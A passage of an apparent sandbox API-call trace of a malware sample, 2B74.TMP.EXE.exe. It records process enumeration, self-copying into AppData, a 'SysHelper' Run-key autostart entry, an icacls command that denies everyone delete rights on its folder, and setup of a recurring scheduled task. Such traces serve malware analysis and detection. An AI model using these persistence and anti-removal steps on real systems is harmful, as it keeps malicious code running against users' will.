EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.315] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0xcb0000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="workstation.exe") returned 0xf [0041.315] CloseHandle (hObject=0x5c0) returned 1 [0041.315] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0x5c0 [0041.315] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.316] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x11b0000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="varied.exe") returned 0xa [0041.316] CloseHandle (hObject=0x5c0) returned 1 [0041.316] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x618) returned 0x5c0 [0041.316] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.317] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x50000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="mall_participating.exe") returned 0x16 [0041.317] CloseHandle (hObject=0x5c0) returned 1 [0041.317] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x344) returned 0x5c0 [0041.317] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.318] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0xdc0000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="luis.exe") returned 0x8 [0041.319] CloseHandle (hObject=0x5c0) returned 1 [0041.319] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c8) returned 0x5c0 [0041.319] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.320] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x1290000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="enhancedsand.exe") returned 0x10 [0041.320] CloseHandle (hObject=0x5c0) returned 1 [0041.320] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x204) returned 0x5c0 [0041.320] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.321] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x220000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="mem_elite.exe") returned 0xd [0041.321] CloseHandle (hObject=0x5c0) returned 1 [0041.321] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x318) returned 0x5c0 [0041.321] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.322] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0xb0000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="barbara.exe") returned 0xb [0041.322] CloseHandle (hObject=0x5c0) returned 1 [0041.322] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x178) returned 0x5c0 [0041.322] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.323] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0xea0000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="refpatternscontainer.exe") returned 0x18 [0041.324] CloseHandle (hObject=0x5c0) returned 1 [0041.324] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15c) returned 0x5c0 [0041.324] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.325] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x1a0000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="chip-concentrate-code.exe") returned 0x19 [0041.325] CloseHandle (hObject=0x5c0) returned 1 [0041.325] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e4) returned 0x5c0 [0041.325] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.326] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x960000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="es-connection-iceland.exe") returned 0x19 [0041.326] CloseHandle (hObject=0x5c0) returned 1 [0041.326] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x794) returned 0x5c0 [0041.326] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.327] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x1360000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="plcpartially.exe") returned 0x10 [0041.327] CloseHandle (hObject=0x5c0) returned 1 [0041.327] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7a0) returned 0x5c0 [0041.327] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.328] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x800000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="mercury.exe") returned 0xb [0041.328] CloseHandle (hObject=0x5c0) returned 1 [0041.329] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x590) returned 0x5c0 [0041.329] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.329] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x940000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="translator_filter.exe") returned 0x15 [0041.330] CloseHandle (hObject=0x5c0) returned 1 [0041.330] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e0) returned 0x5c0 [0041.330] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.331] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0xba0000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="theme bon dog.exe") returned 0x11 [0041.331] CloseHandle (hObject=0x5c0) returned 1 [0041.331] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4a4) returned 0x5c0 [0041.331] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.332] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0xf00000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="ef-powerpoint.exe") returned 0x11 [0041.332] CloseHandle (hObject=0x5c0) returned 1 [0041.332] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x53c) returned 0x5c0 [0041.332] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.333] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0xc60000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="renew mechanism tom.exe") returned 0x17 [0041.333] CloseHandle (hObject=0x5c0) returned 1 [0041.333] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x660) returned 0x5c0 [0041.333] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.334] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0xcb0000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="worldcat_phone.exe") returned 0x12 [0041.335] CloseHandle (hObject=0x5c0) returned 1 [0041.335] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b0) returned 0x5c0 [0041.335] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.336] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0xa30000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="volunteers-masturbating-frederick.exe") returned 0x25 [0041.336] CloseHandle (hObject=0x5c0) returned 1 [0041.336] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x724) returned 0x5c0 [0041.336] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.337] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x250000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="effect_actors.exe") returned 0x11 [0041.337] CloseHandle (hObject=0x5c0) returned 1 [0041.337] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7a8) returned 0x5c0 [0041.337] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.338] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0xd20000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="dietary void saw.exe") returned 0x14 [0041.338] CloseHandle (hObject=0x5c0) returned 1 [0041.338] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6b4) returned 0x0 [0041.338] CloseHandle (hObject=0x0) returned 0 [0041.338] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x998) returned 0x5c0 [0041.338] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.340] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x400000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="2B74.TMP.EXE.exe") returned 0x10 [0041.340] CloseHandle (hObject=0x5c0) returned 1 [0041.340] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x28) returned 0x386cc70 [0041.340] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x25c) returned 0x62d3370 [0041.340] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x25c) returned 0x62b0910 [0041.340] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x25c) returned 0x62b01e8 [0041.340] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x25c) returned 0x62cb2c0 [0041.340] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x25c) returned 0x62cb528 [0041.340] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x25c) returned 0x62cb790 [0041.340] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x25c) returned 0x62cb9f8 [0041.340] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x25c) returned 0x62cbc60 [0041.340] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x25c) returned 0x62cbec8 [0041.340] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x25c) returned 0x62cc130 [0041.340] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18dcc8 | out: phkResult=0x18dcc8*=0x5c0) returned 0x0 [0041.340] RegQueryValueExW (in: hKey=0x5c0, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18dcc4, lpData=0x18c3f0, lpcbData=0x18dca8*=0x400 | out: lpType=0x18dcc4*=0x0, lpData=0x18c3f0*=0x0, lpcbData=0x18dca8*=0x400) returned 0x2 [0041.340] RegCloseKey (hKey=0x5c0) returned 0x0 [0041.340] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0041.341] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0041.341] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe\" " [0041.341] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe\" ", pNumArgs=0x18dc8c | out: pNumArgs=0x18dc8c) returned 0x3898750*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" [0041.341] lstrcpyW (in: lpString1=0x18bbf0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" [0041.341] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe") returned="2B74.TMP.EXE.exe" [0041.341] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x18d3f0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0041.341] UuidCreate (in: Uuid=0x18dc3c | out: Uuid=0x18dc3c) returned 0x0 [0041.341] UuidToStringW (in: Uuid=0x18dc3c, StringUuid=0x18dcd0 | out: StringUuid=0x18dcd0) returned 0x0 [0041.341] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x50) returned 0x62ac030 [0041.341] RpcMgmtStatsVectorFree (in: StatsVector=0x18dcd0 | out: StatsVector=0x18dcd0) returned 0x0 [0041.341] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="dfccf938-04f6-4f10-bbc6-7554a5d45465" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465") returned 1 [0041.341] CreateDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\dfccf938-04f6-4f10-bbc6-7554a5d45465"), lpSecurityAttributes=0x0) returned 1 [0041.342] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xb0) returned 0x629ad48 [0041.342] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xb0) returned 0x629ae00 [0041.342] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465", pMore="2B74.TMP.EXE.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe") returned 1 [0041.342] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2b74.tmp.exe.exe")) returned 0 [0041.342] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2b74.tmp.exe.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2b74.tmp.exe.exe"), bFailIfExists=0) returned 1 [0041.394] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18dccc | out: phkResult=0x18dccc*=0x5c4) returned 0x0 [0041.394] lstrcpyW (in: lpString1=0x18cbf0, lpString2="\"" | out: lpString1="\"") returned="\"" [0041.394] lstrcatW (in: lpString1="\"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe" [0041.394] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe", lpString2="\" --AutoStart" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe\" --AutoStart") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe\" --AutoStart" [0041.394] lstrlenW (lpString="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe\" --AutoStart") returned 111 [0041.394] RegSetValueExW (in: hKey=0x5c4, lpValueName="SysHelper", Reserved=0x0, dwType=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe\" --AutoStart", cbData=0xde | out: lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\\2B74.TMP.EXE.exe\" --AutoStart") returned 0x0 [0041.394] RegCloseKey (hKey=0x5c4) returned 0x0 [0041.394] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xd0) returned 0x626eae8 [0041.394] SetLastError (dwErrCode=0x0) [0041.394] lstrcpyW (in: lpString1=0x18abf0, lpString2="icacls \"" | out: lpString1="icacls \"") returned="icacls \"" [0041.394] lstrcatW (in: lpString1="icacls \"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465" [0041.394] lstrcatW (in: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465", lpString2="\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\" /deny *S-1-1-0:(OI)(CI)(DE,DC)") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" [0041.395] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x48, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18dbf0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18dc4c | out: lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\dfccf938-04f6-4f10-bbc6-7554a5d45465\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessInformation=0x18dc4c*(hProcess=0x5c0, hThread=0x5c4, dwProcessId=0xa58, dwThreadId=0xa5c)) returned 1 [0041.405] WaitForSingleObject (hHandle=0x5c0, dwMilliseconds=0x1) returned 0x102 [0041.410] WaitForSingleObject (hHandle=0x5c0, dwMilliseconds=0x1) returned 0x102 [0041.487] WaitForSingleObject (hHandle=0x5c0, dwMilliseconds=0x1) returned 0x102 [0041.492] WaitForSingleObject (hHandle=0x5c0, dwMilliseconds=0x1) returned 0x102 [0041.503] WaitForSingleObject (hHandle=0x5c0, dwMilliseconds=0x1) returned 0x102 [0041.518] WaitForSingleObject (hHandle=0x5c0, dwMilliseconds=0x1) returned 0x102 [0041.534] WaitForSingleObject (hHandle=0x5c0, dwMilliseconds=0x1) returned 0x102 [0041.550] WaitForSingleObject (hHandle=0x5c0, dwMilliseconds=0x1) returned 0x0 [0041.557] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x629ae00 | out: hHeap=0x3840000) returned 1 [0041.557] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x62ac030 | out: hHeap=0x3840000) returned 1 [0041.557] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xd0) returned 0x626ebc0 [0041.557] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xd0) returned 0x626ec98 [0041.557] CoInitialize (pvReserved=0x0) returned 0x0 [0041.856] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0041.856] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xd0) returned 0x626ef20 [0041.856] CoCreateInstance (in: rclsid=0x4d504c*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x4d4fcc*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x18dcb4 | out: ppv=0x18dcb4*=0x5830d20) returned 0x0 [0041.981] TaskScheduler:ITaskService:Connect (This=0x5830d20, serverName=0x18d740*(varType=0x0, wReserved1=0x7715, wReserved2=0xe0d2, wReserved3=0x7715, varVal1=0x67, varVal2=0xd0), user=0x18d750*(varType=0x0, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1=0x0, varVal2=0xd8), domain=0x18d760*(varType=0x0, wReserved1=0x0, wReserved2=0xd0, wReserved3=0x0, varVal1=0x67, varVal2=0x7), password=0x18d770*(varType=0x0, wReserved1=0x62c, wReserved2=0xdc5c, wReserved3=0x18, varVal1=0x4209ab, varVal2=0x3840000)) returned 0x0 [0041.983] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xc) returned 0x62b1230 [0041.983] TaskScheduler:ITaskService:GetFolder (in: This=0x5830d20, Path="\\", ppFolder=0x18dcbc | out: ppFolder=0x18dcbc*=0x2aff98) returned 0x0 [0041.984] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x62b1230 | out: hHeap=0x3840000) returned 1 [0041.985] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xc) returned 0x62b1230 [0041.985] ITaskFolder:DeleteTask (This=0x2aff98, Name="Time Trigger Task", flags=0) returned 0x80070002 [0041.985] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x62b1230 | out: hHeap=0x3840000) returned 1 [0041.985] TaskScheduler:ITaskService:NewTask (in: This=0x5830d20, flags=0x0, ppDefinition=0x18dcc0 | out: ppDefinition=0x18dcc0*=0x5830da8) returned 0x0 [0041.987] TaskScheduler:IUnknown:Release (This=0x5830d20) returned 0x1 [0041.987] ITaskDefinition:get_RegistrationInfo (in: This=0x5830da8, ppRegistrationInfo=0x18dc94 | out: ppRegistrationInfo=0x18dc94*=0x5830e68) returned 0x0 [0041.987] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xc) returned 0x62b1260 [0041.987] IRegistrationInfo:put_Author (This=0x5830e68, Author="Author Name") returned 0x0 [0041.987] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x62b1260 | out: hHeap=0x3840000) returned 1 [0041.987] IUnknown:Release (This=0x5830e68) returned 0x1 [0041.987] ITaskDefinition:get_Principal (in: This=0x5830da8, ppPrincipal=0x18dc9c | out: ppPrincipal=0x18dc9c*=0x5830ff8) returned 0x0 [0041.988] IPrincipal:put_LogonType (This=0x5830ff8, LogonType=3) returned 0x0 [0041.988] IUnknown:Release (This=0x5830ff8) returned 0x1 [0041.988] ITaskDefinition:get_Settings (in: This=0x5830da8, ppSettings=0x18dca4 | out: ppSettings=0x18dca4*=0x5830f18) returned 0x0 [0041.988] ITaskSettings:put_StartWhenAvailable (This=0x5830f18, StartWhenAvailable=1) returned 0x0 [0041.988] IUnknown:Release (This=0x5830f18) returned 0x1 [0041.988] ITaskSettings:get_IdleSettings (in: This=0x5830f18, ppIdleSettings=0x18dc88 | out: ppIdleSettings=0x18dc88*=0x5830f88) returned 0x0 [0041.988] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xc) returned 0x62b1260 [0041.988] IIdleSettings:put_WaitTimeout (This=0x5830f88, WaitTimeout="PT5M") returned 0x0 [0041.988] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x62b1260 | out: hHeap=0x3840000) returned 1 [0041.988] IUnknown:Release (This=0x5830f88) returned 0x1 [0041.988] ITaskDefinition:get_Triggers (in: This=0x5830da8, ppTriggers=0x18dc84 | out: ppTriggers=0x18dc84*=0x5830ed8) returned 0x0 [0041.988] ITriggerCollection:Create (in: This=0x5830ed8, Type=1, ppTrigger=0x18dc90 | out: ppTrigger=0x18dc90*=0x5831058) returned 0x0 [0041.988] IUnknown:Release (This=0x5830ed8) returned 0x1 [0041.988] IUnknown:QueryInterface (in: This=0x5831058, riid=0x4d50cc*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x18dcac | out: ppvObject=0x18dcac*=0x5831058) returned 0x0 [0041.988] IUnknown:Release (This=0x5831058) returned 0x2 [0041.989] ITrigger:get_Repetition (in: This=0x5831058, ppRepeat=0x18dc98 | out: ppRepeat=0x18dc98*=0x58310a8) returned 0x0 [0041.989] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xc) returned 0x62b1260 [0041.989] IRepetitionPattern:put_Interval (This=0x58310a8, Interval="PT5M") returned 0x0 [0041.989] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x62b1260 | out: hHeap=0x3840000) returned 1 [0041.989] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0xc) returned 0x62b1260 [0041.989] IRepetitionPattern:put_Duration 